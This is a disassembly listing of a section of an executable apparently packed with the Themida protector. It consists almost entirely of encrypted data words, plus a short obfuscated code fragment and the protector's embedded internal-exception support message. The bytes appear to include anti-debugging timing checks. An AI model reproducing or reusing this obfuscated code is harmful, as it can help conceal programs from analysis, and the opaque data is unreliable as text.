		dd 5810F00h, 60000000h,	616160F5h, 1A1E68h, 4880F00h, 66000000h
		dd 59A1F7BFh, 57028BF9h, 10E8h,	0A5BDA200h, 4D0B257Dh
		dd 60D6D809h, 0D6403CDFh, 0FE918h, 7FED0000h, 279D4BC6h
		dd 339AE408h, 5E71F3DBh, 815F5B5Dh, 2BCF46C0h, 0BE93Bh
		dd 796B0000h, 0F293E102h, 52260626h, 0E7C08139h, 66513CACh
		dd 0C081FB8Bh, 48CF6FE1h, 987524BEh, 850F503Bh,	2, 28F90B3h
		dd 0F03EA83h, 0F4AF9BFh, 0E983F1B7h, 8A850F01h,	0FFFFFFFh
		db 81h
byte_5BCB8D	db 3 dup(0)		; DATA XREF: Themida_:00585484o
		dd 17E900h, 4E390000h, 7787h, 4	dup(0)
		dd 51DE900h, 0A57D0000h, 0D9EF83h, 5A364CE0h, 0B796AC40h
		dd 1EF90FA3h, 6F956E02h, 6BFF1BF6h, 0C95D7B55h,	2BBFD5B3h
		dd 8C203815h, 0D7AC29D9h, 8313A507h, 7956AF3Eh,	805B2961h
		dd 98761464h, 9DAF4A82h, 7988657Bh, 42A007FCh, 0A6AD314h
		dd 6A119504h, 0FB338C07h, 0D4F0CB69h, 0D0F4FA9Ch, 0ECAE2AE1h
		dd 8A678193h, 0AA83A72h, 0E802142Eh, 53B7EF0Fh,	79EBAED6h
		dd 0F7D36A14h, 0AA0AA5DDh, 96A8BD54h, 0F3879F7Ch, 55E9FFDDh
		dd 134B613Fh, 154D6B45h, 60DF875Eh, 0C2D86C82h,	0A5BD9AE5h
		dd 9567144Ch, 8A14425Bh, 1AE599CDh, 0BBE05B16h,	8Eh, 18F492E4h
		dd 0F5D2ECFEh, 12EF8DDDh, 7522E8FAh, 1442A088h,	0F1A8DC99h
		dd 0A06D128Fh, 1DA1442h, 736DAEBAh, 0AF0F78C9h,	4F7B3E24h
		dd 583345D9h, 0E05BEFA7h, 130h,	0F4925900h, 2EC90115h
		dd 929021Ch, 0A2A03D1h,	0C3A240D2h, 8CDC77AFh, 42A0680Fh
		dd 6B7DE614h, 265E7251h, 2A627C58h, 30687E5Ch, 5B174FCCh
		dd 0D188BC39h, 0EB900D6Fh, 671442A0h, 0A0EC93FEh, 0CE6A1442h
		dd 6A7CD5F5h, 7577750h,	61738D69h, 344C293Fh, 7B56CFA0h
		dd 8059275Fh, 0E0EA2860h, 0EA04E07Eh, 0D7AC17B2h, 831442A0h
		dd 3B6B081Ah, 0EA08E280h, 0EB0517B2h, 6A4F410h,	3BD60E2Ch
		dd 14F10729h, 833AACFCh, 7EEBF0A7h, 49633FCBh, 9E647611h
		dd 0A2DAF4D0h, 0F4FF708h, 0E05BD320h, 8BD5h, 1693F500h
		dd 14429761h, 9D7284EDh, 0B2587B56h, 50DD5BECh,	3A581F9Ch
		dd 8DF61442h, 0D5A3DB34h, 43A7DFF9h, 79DB9EC6h,	423A07FCh
		dd 0A2BC9814h, 157ECF6Ah, 0F20EE903h, 4A6D485Eh, 0E8C44263h
		dd 0EEB26ECEh, 3AC13E8Eh, 981442ECh, 0D09ED62Fh, 0D7A5DDF1h
		dd 0DBA9E1FBh, 0F3AAE202h, 0B431681Ch, 1442ECCFh, 71C9228Bh
		dd 0D7752460h, 11ACE4F8h, 0C40B24FFh, 280CE05Bh, 35000000h
		dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 4617ABC7h,	255D7D56h
		dd 42A08678h, 0A6DE9B14h, 5C1109F6h, 1CEE0h, 56F70000h
		dd 5A28607Ah, 762D657Dh, 9C78E79Fh, 0C0CFEE82h,	0EB219EEEh
		dd 0A913A691h, 5D3A0840h, 0BE9BB145h, 3CC16EA6h, 4813A692h
		dd 0C19E81C5h, 22FF15A9h, 2704D20Ah, 8F99D70Fh,	92CBB02Dh
		dd 0EB8713A6h, 23BEF60Eh, 6B1BB8CAh, 9DB59230h,	9EB8CA65h
		dd 3B15A9C1h, 95A7C19Dh, 77DF45BAh, 0EC92D8h, 14B20000h
		dd 48E31B3Bh, 8FC7DFBCh, 4D0DE2F4h, 9F1C6C42h, 13A6BEFDh
		dd 24F22A93h, 0C19B2F47h, 1C2E4623h, 0D50D2502h, 6DF2A07h
		dd 17558DE6h, 4A27164Eh, 0D40C20FFh, 754CE039h,	0D877F28Ah
		dd 5C4Bh, 444D7400h, 69D1A6Ah, 546BBD5Fh, 8DC5D9B8h, 5E25A2F2h
		dd 0FC9442A0h, 55023A93h, 9442A0AEh, 898DB980h,	0F456A608h
		dd 0A06E1592h, 83EC9442h, 0A0C1B633h, 248D9442h, 5F821912h
		dd 34D0EBBDh, 68033B5Bh, 5FAD7B0Fh, 33000000h, 0B6BA3BC1h
		dd 0B505A899h, 42304338h, 94A60F14h, 39424DBFh,	6D084060h
		dd 9D47C414h, 4313A6B9h, 0F7D4A2DAh, 0A582D1ACh, 61BA558Dh
		dd 815E7408h, 4843169h,	813A6B9h, 815EC185h, 0D9B6D569h
		dd 7C0885D5h, 0E614411Dh, 9A77457Dh, 0BC934A82h, 0AB038C88h
		dd 0C616DE5Bh, 53BC1C6Eh, 0F492EEBFh, 0C8EBFD19h, 1A97E7C7h
		dd 13A5076Ah, 89578FF8h, 0EA0094ACh, 2BBDF50Dh,	0B0CA0B9h
		dd 899BB085h, 0C5954790h, 0DE7C3A63h, 39D6E802h, 2635120Dh
		dd 0A1AD2A9h, 0BE17806Ch, 6316FC6Eh, 359E2707h,	0EEB0123h
		dd 70D0E4C3h, 8C9544BCh, 0D5DB6ECh, 4078946Fh, 704A31AEh
		dd 9F086C0Ah, 0DC6E3446h, 7006FD7Ah, 64D46C0Ah,	82080E47h
		dd 0E939923Eh, 0AAB976Ch, 0C8DA436Ch, 83BBCFAEh, 4ECBD6B5h
		dd 6C0AABA9h, 2B63BC25h, 2F67815Dh, 347C28F1h, 0C1BCE8BFh
		dd 2238CCE4h, 6FF52D45h, 15h, 0D3358DFEh, 42A0A156h, 50CD2D14h
		dd 1442A0ABh, 5365BE27h, 5C7E567Eh, 61795624h, 677D5B29h
		dd 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh
		dd 7B9B7442h, 8953EE43h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 240C895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 53240C89h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h,	68575224h
		dd 15EE76CFh, 3BF7815Fh, 811FB535h, 6201BFC7h, 9CEF8173h
		dd 89299207h, 0CA815FFAh, 225210Bh, 2F38C281h, 0D2F72709h
		dd 80F2814Ah, 89852036h, 0EC815AD1h, 4,	81242489h, 42404h
		dd 515B0000h, 0DD243481h, 8F53313Dh, 0B9510843h, 8, 3181D901h
		dd 53313DDDh, 241C8B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 7Dh
		dd 0B83A33CBh, 7E7AB7Fh, 0E0FFC503h, 48EC844Dh,	2454D0D0h
		dd 354C50F9h, 36C55EDAh, 7D64ACDh, 3A379313h, 5FFDA48h
		dd 62238A9Bh, 56DC042Eh, 9EFD2D1h, 8A06569h, 4D2365B1h
		dd 359271DDh, 4418E3Eh,	60A51625h, 3235068Eh, 3254FDDEh
		dd 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 1286E900h, 0BD890000h, 7E40025h, 15F99531h, 858B07E4h
		dd 7E40DE1h, 919531F5h,	3907E41Dh, 0F042444h, 0B785h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8A0FC47Fh, 0Dh, 43CA8160h, 0BB5F862Ch, 7779C680h, 0FDBD8361h
		dd 7E42Bh, 7A840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 140424h, 52420000h, 0FF840C3h, 787h, 0EE806000h
		dd 6161604Ah, 3BDC858Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 93F877C3h, 5655451Bh
		dd 358D9D89h, 11E907E4h, 0C000000h, 8E38EF12h, 24CBB0BBh
		dd 32428B75h, 950A4189h, 61CB8A60h, 0BD89E0FFh,	7E42DF1h
		dd 1DE1858Bh, 39F507E4h, 0F042444h, 3B85h, 11E900h, 0C8C00000h
		dd 882C8571h, 92A19A02h, 6EA97D41h, 0C7CE424Fh,	0E7B09285h
		dd 107h, 15840F00h, 0E9000000h,	10h, 292BF56Dh,	7C439CA3h
		dd 0B6E2EDAFh, 0E0B7B45Eh, 50006A60h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 68C0F62h, 89000000h
		dd 0E4041995h, 27E907h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 9E008C3h, 0E4035195h
		dd 7, 1B800h, 85870000h, 7E7B212h, 0F675C00Bh, 2C2DB5FFh
		dd 858F07E4h, 7E7B08Ah,	0FF6A206Ah, 160195FFh, 0BD8307E4h
		dd 7E40369h, 6A087400h,	4195FF00h, 8307E40Eh, 0E4038DBDh
		dd 0D740107h, 8068h, 0FFFF6A00h, 0E4160195h, 6AF507h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 5C15AAC3h, 32D4162Ah, 8A6004BBh, 2EDB81DAh, 616A34E8h
		dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 683A4436h, 0B5310864h, 7E431D1h
		dd 2824548Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	9C35343h, 0DED75744h, 897257B9h, 0E412D185h, 0EE86007h
		dd 31000000h, 0B7629DBCh, 4DB230CEh, 0D362A14Ah, 0D995017Dh
		dd 5F07E420h, 6818D29h,	896107E4h, 0E40EE995h, 3CBE07h
		dd 85890000h, 7E423A9h,	25BD8D89h, 740307E4h, 89602424h
		dd 0E42C0DBDh, 8D895107h, 7E42AEDh, 840F6159h, 6, 314D8529h
		dd 0AD6607E4h, 1D759501h, 440307E4h, 6A2424h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DBDDAC3h
		dd 0AF79EEh, 0F5B9301Bh, 3269BD89h, 0E99007E4h,	10h, 94847FBBh
		dd 31233A21h, 9498CF06h, 6CD88F55h, 0F525050h, 28Dh, 0F616000h
		dd 96B06031h, 5A616160h, 8D319058h, 7E42A69h, 0F78408Bh
		dd 78Ah, 1820F00h, 0FC000000h, 0B092BD83h, 0F0007E7h, 15C85h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 56860889h, 8E9A607h, 72000000h, 4B396DE7h
		dd 90887CCEh, 8B0F5250h, 6, 310F5250h, 310F585Ah, 10E9h
		dd 8F1C9000h, 9682F6B9h, 48252802h, 2E69E46Dh, 50585AF7h
		dd 0D3B56060h, 61615F50h, 0B8F0F90h, 60000000h,	820Fh
		dd 0E8800000h, 448B616Ch, 6A2C24h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0C0A5CEC3h, 9E6DCA2Bh
		dd 525090FCh, 11E9h, 58C4300h, 0EC4E88E8h, 0BC0D1FBDh
		dd 4169AD9h, 310FBC83h,	5E9h, 539BFB00h, 585A6837h, 22820F50h
		dd 50000000h, 0BE952h, 0C62E0000h, 6483EC34h, 3D22D845h
		dd 0E9310F13h, 7, 0E6E05ECAh, 5AAAD1D1h, 6A9058h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8B60A6C3h, 0E419D985h, 19D8907h, 6107E426h, 7ED8858Dh
		dd 0FFFC07E7h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 92A377C5h, 8CAACDFBh
		dd 820F2BC2h, 1, 0BD8960FCh, 7E43269h, 0DC5BD29h, 296107E4h
		dd 0E42C3185h, 24440307h, 55006A28h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 2AC19683h
		dd 408BFC59h, 51006A18h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0EB3DEA7Fh, 40F9E8ECh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 30C35141h, 85896810h
		dd 7E7B08Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0A7C35646h, 0D26B51A2h,	880F763Ah, 1, 12E958F5h
		dd 8F000000h, 7BDF75C0h, 0C428DB2Ah, 3B4E1176h,	0D6E2CD43h
		dd 8501600Ah, 7E41641h,	14E9h, 949A2700h, 96CB4AEFh, 0F54A1919h
		dd 0D91B47A2h, 0EAC77D3Fh, 708B6115h, 5958978h,	8307E415h
		dd 8E91CC6h, 8D000000h,	4B4B64B9h, 9631CDE0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 89C35646h, 60C3B3F4h
		dd 0AE1BD8Bh, 0D78107E4h, 5DF52842h, 51858961h,	0E907E42Ch
		dd 14h,	0B177B368h, 0CE62AA03h,	9174EF5h, 0A39BEB62h, 0DFB23A56h
		dd 24247C81h, 10000000h, 10B870Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 894780C3h
		dd 86D8590Ch, 2AAD8D89h, 0F5007E4h, 1981h, 14E900h, 7D580000h
		dd 2055173Ah, 0D120993Dh, 0B6C9390Bh, 4B4A6FEBh, 489F441h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 24448BFFh, 52006A28h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 4F1F2FB5h
		dd 0F89B82EDh, 90FCDC77h, 800F5250h, 6,	310F5250h, 310F585Ah
		dd 0BE9h, 8BB24E00h, 0A4349E31h, 0F0FA9E3Fh, 0F50585Ah
		dd 0A8Eh, 52506000h, 585A310Fh,	90615F50h, 0D8858DF5h
		dd 6A07E77Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 5229C351h, 7C84A7B2h, 8D8B601Eh
		dd 7E41AD1h, 25859D89h,	896107E4h, 0E4233D9Dh, 29D0FF07h
		dd 0E42EBD95h, 6A9607h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 102FA0C3h, 0FCD85BD1h, 3321B589h
		dd 740307E4h, 95892424h, 7E41E6Dh, 90DBD8Dh, 6A07E4h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0CA99A7C3h, 0B261F503h, 89123514h, 0E41421B5h, 6AAD07h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 475B96C3h, 9E56DFFAh, 10E973h, 0BB020000h, 4D45C334h
		dd 0A0D01E93h, 705426B0h, 7C816723h, 2424h, 870F1000h
		dd 162h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	0E5C35040h, 9E9DC027h, 0BA4ABC48h, 9E96Ch, 753D0000h
		dd 355184AAh, 6017834Dh, 16758589h, 0BDBE07E4h,	61699F8Ch
		dd 10E950h, 0D2560000h,	0FC5F3EB7h, 6B0B5B9Ah, 0B15B981Ch
		dd 48913BFh, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h
		dd 95B6CD6h, 0E417C585h, 24448B07h, 0BE86028h, 0F5000000h
		dd 1399396h, 269065B1h,	0F18B0C34h, 0CF8B6659h,	870F9061h
		dd 13h,	61605250h, 6E9310Fh, 73000000h,	8B0874D1h, 50585AF7h
		dd 12860Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 60ED5502h, 1499094Ch, 8D09156Ah
		dd 7E4164Dh, 7ED8858Dh,	6A07E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D29C1C3h, 7E42DCDh
		dd 6E9h, 5A887400h, 0FF2B6887h,	51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 78F75D43h
		dd 0D1CC3621h, 958B5760h, 7E419A9h, 6147B75Fh, 22D19501h
		dd 440307E4h, 0ABFC2424h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 50C35040h, 54B5844Eh,	60CBBF19h, 92C08166h
		dd 0FC6061FCh, 24DB8166h, 0FA8161C6h, 10000h, 786820Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0D957A6C3h, 0F8D2B973h, 148C0Fh, 0FE90000h
		dd 1C000000h, 0FA85CFA9h, 69BC3D95h, 0AEAD4BB6h, 0BD8D79E2h
		dd 7E4220Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0B3C35141h, 0ADBE632Ah,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0D3C35343h,	1289C5FDh, 0FE9304Ah
		dd 6000000h, 6ECF2C72h,	69BAC995h, 30A3DD54h, 0DE93531h
		dd 0DC000000h, 0FEAFB719h, 1664BE4Dh, 3971145Eh, 24247C81h
		dd 10000000h, 0C1870Fh,	95890000h, 7E41FD1h, 60525090h
		dd 9E8h, 60853D00h, 0F65A21B4h,	505FC3EDh, 5A310F52h, 310F6158h
		dd 0EE9h, 0D7ECE800h, 49445B9Dh, 0BF5FF71Ah, 5A123CF1h
		dd 0BE95058h, 96000000h, 428995AEh, 0A9EE5DB8h,	99011F9h
		dd 0E42D61B5h, 24448B07h, 0EE928h, 21FA0000h, 0DD678920h
		dd 0F39615C4h, 0F4B658C2h, 0DE990h, 0F0830000h,	0EED8B1AAh
		dd 0EAE3A87Eh, 50A3CA39h, 88B0Fh, 810F0000h, 2,	6A906160h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 129CC351h, 43CC081Fh, 858DF52Ch, 7E77ED8h
		dd 224D8589h, 0D0FF07E4h, 85B501FCh, 307E427h, 6A242444h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 6543C353h, 2DBBE1DAh, 14FDF02Ch, 29ED9529h
		dd 0DE907E4h, 13000000h, 195FC125h, 0CE2C63A0h,	46F3DADFh
		dd 8B606090h, 61FA8BF2h, 61F28B66h, 0F525050h, 28Ah, 0F616000h
		dd 0E9525031h, 5, 0DAFF7A54h, 0E9310F13h, 12h, 1A5163F3h
		dd 5BF9836Fh, 9CB0320h,	2C8C9C9Eh, 585ACB61h, 6A90585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 1119C353h, 6F3041EFh, 0A9958979h,	0E907E406h
		dd 10h,	15966F67h, 30BD330h, 3165C884h,	5D34FDD0h, 68D0Fh
		dd 95890000h, 7E40161h,	56006AABh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0AF6B2CAEh, 0A6C9C9A2h
		dd 8DF911D1h, 0E41AF9BDh, 158D8907h, 0AD07E425h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F4C35747h, 247C81F9h
		dd 28h,	10870F10h, 6A000001h, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0CAC9C355h,	0A2727453h
		dd 459D8B60h, 2907E42Dh, 0E41F4995h, 50F86107h,	8E960h
		dd 22740000h, 4F479681h, 7E8F7A5h, 31000000h, 0F284DDA7h
		dd 61606EC1h, 4896159h,	12870F24h, 0E9000000h, 0Dh, 0B8D3CFC7h
		dd 0FE3A0AE4h, 55D1912h, 24448B1Fh, 0E8C0F2Ch, 60000000h
		dd 850Fh, 9D890000h, 7E4089Dh, 66605061h, 7DB9CF8Bh, 614FEB66h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 8E32C355h, 0A217C12Dh,	8E9h, 0F932D200h
		dd 80A2C494h, 0D8858DA7h, 6007E77Eh, 820FB1B5h,	6, 0A99D8Bh
		dd 0FF6107E4h, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 6EDA5061h, 14E99A3Ah
		dd 0E4000000h, 9705A73h, 56195DC5h, 0C361B420h,	0CFFDEDA0h
		dd 33C0489h, 0F9282444h, 51006AABh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 952939DAh, 7E4022Dh, 8E8DFF5Eh
		dd 8307E7B0h, 0E7B08EBDh, 0A750007h, 0B58DC033h, 7E7C0F4h
		dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h,	502C2444h
		dd 7ED8858Dh, 0D0FF07E7h, 28244403h, 8ADF8B97h,	0E7B08A85h
		dd 74C08407h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 0D185FF04h, 0E907E412h, 0FFFFFF5Dh
		dd 51006A5Eh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 9864F812h, 7E9F9h, 6F990000h, 0D4C9D748h
		dd 0D1858B4Fh, 6A07E412h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 2D49C355h, 820F42C2h
		dd 15h,	10E9h, 2A4E9E00h, 0B7659E30h, 5089632Bh, 7ACA0672h
		dd 6880F95h, 89000000h,	0E42DA995h, 89E0D107h, 0E41B31BDh
		dd 0F9850307h, 0E907E41Ah, 0Dh,	9C6EA445h, 0F9D56F3Ch
		dd 56974E75h, 0E9F62BA6h, 0Ch, 8368AF91h, 0C321AF00h, 0C4EB95E0h
		dd 51006A96h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0B5485D5Ah, 80893330h, 8D2B6044h, 7E41EE9h
		dd 0F9EE8166h, 860F61D3h, 1, 0E9AD66F8h, 8, 0D68EADABh
		dd 80CDC98Eh, 6A02E0C1h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 7DEEC350h, 0E852CFE0h
		dd 90D8503h, 896007E4h,	0E40D359Dh, 18BA6607h, 6A9661D8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 1DC1C350h, 0A940D5C4h, 0BF605E4Bh, 6700FF39h
		dd 61CBB70Fh, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 440C9EB9h, 7C8139A8h, 2424h, 870F1000h
		dd 0EDh, 18E1B501h, 0F9007E4h, 1B89h, 158C0F00h, 0E9000000h
		dd 10h,	26801BB0h, 4BD551A4h, 0A2421BFAh, 554B9EDEh, 0C8C0F50h
		dd 0F000000h, 684h, 0F525000h, 90585A31h, 0A9958B60h, 0E907E42Eh
		dd 13h,	1786FB1Dh, 4A8BFD11h, 2118A43Fh, 0DA220FD6h, 6153D1D8h
		dd 0AE9h, 0B48A300h, 55A4DAE6h,	8B98551Fh, 89282444h, 0E42C3185h
		dd 8A0F5007h, 0Ah, 61605250h, 6160310Fh, 489585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0AADF5E23h, 28593CA6h, 8D092D22h, 7E407D1h, 0A9B96660h
		dd 21EBBA1Ah, 8D610578h, 0E77ED885h
		dd 81666007h, 0E9F5ACEAh, 0Eh, 26E23D2Bh, 26E97AB6h, 3A57B103h
		dd 0FF61ABB9h, 6800FD0h, 1000000h, 0E41FDDB5h, 24440307h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 14C158D3h, 0EE9h, 1CF5E400h, 0E7164FE2h
		dd 0E1E874F1h, 898CE879h, 11C2444h, 0E42209BDh,	2D85C607h
		dd 7E42Ch, 0B21285C7h, 7E7h, 85C70000h,	7E7B092h, 0
		dd 11E9h, 277EA700h, 0B5FD8353h, 0F494A953h, 3B2ADB5Ch
		dd 61F972AFh, 68D0Fh, 95290000h, 7E420D5h, 6810Fh, 0B5310000h
		dd 7E42D89h, 0F80008C2h, 90D858Bh, 6A07E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 66602EC3h
		dd 0B95C6B9h, 0E413F9BDh, 6A4A6107h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0AC21C350h
		dd 0E9628077h, 12h, 306B5F43h, 18DAE269h, 0CAE9B687h, 0A2A5E073h
		dd 0D26BB557h, 0DE904h,	86DA0000h, 89DBD190h, 2A8AA758h
		dd 89E2C454h, 0E41E0585h, 6AC20307h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 3C355h
		dd 9974702Fh, 0F4B48549h, 6A96F9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0C40E09C3h, 60818A0Ch
		dd 8BF1BF0Fh, 0E414E9B5h, 0FAD6107h, 1284h, 0DE900h, 54B60000h
		dd 9C0A7E40h, 0DD20B538h, 60A71F97h, 1EE9B589h,	0B70F07E4h
		dd 7C8161C9h, 2424h, 870F1000h,	0C6h, 24418D89h, 0E95007E4h
		dd 10h,	32353495h, 0B15D2D52h, 0B24763E9h, 777E778Ah, 89240489h
		dd 0E42CF99Dh, 24448B07h, 55006A28h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F9D6F8C4h
		dd 880F6090h, 2, 5061A6B5h, 60CF8B60h, 310F5250h, 5250585Ah
		dd 585A310Fh, 0F906161h, 181h, 858DF800h, 7E77ED8h, 18B0Fh
		dd 0FFF80000h, 52006AD0h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 5683D64Dh, 0DD87855Ah
		dd 6E9A4h, 0ED000000h, 0ACF2F15Dh, 14E9FCh, 0D3E40000h
		dd 57077DFFh, 5E20280h,	0C26F336Eh, 0F156FFCh, 9EE9806Bh
		dd 0F8FFFFFDh, 0C6E1858Dh, 6A07E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0FCDCBDC3h
		dd 0D6047B61h, 8B0F90F4h, 0Fh, 0AE9h, 485BA100h, 9829FE73h
		dd 509F74DEh, 52505250h, 8E0Fh,	310F0000h, 8F0Fh, 585A0000h
		dd 6660310Fh, 8BD697B9h, 585A61FBh, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0C3081CFBh
		dd 2A5B1BF9h, 0FF64DCBBh, 35h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 75EDE810h
		dd 0B70F60DAh, 39D981F7h, 617457D2h, 6A24048Bh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0F245C353h, 0C3BF6198h, 198589E6h, 6A07E430h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 3A19C353h, 9D894D6Bh, 7E415A5h, 258964h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 9FDAC355h, 0DD82E791h, 49F03831h,	0D810Fh
		dd 66600000h, 0B554CF81h, 5A8FE181h, 8D611101h,	0E7C4E085h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0BD896078h, 7E42631h, 1608961h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h, 218D8D29h
		dd 0E9FC07E4h, 251h, 6820F60h, 0F000000h, 83h, 0DBD8900h
		dd 6107E415h, 0E8DB8BFCh, 0
		dd 0D9ED815Dh, 0BC07E7C4h, 12FF9Ch, 38DBD83h, 740007E4h
		dd 0B5858B18h, 0C607E41Eh, 858B0000h, 7E4169Dh,	0FF0000C6h
		dd 0E4166595h, 0B5FF6007h, 7E7AC96h, 0AC9A858Dh, 8D5007E7h
		dd 0E7AE9285h, 95FF5007h, 7E42169h, 610CC483h, 5E960h
		dd 40070000h, 0F7301EBh, 0D88h,	8E900h,	9B50000h, 0A035F250h
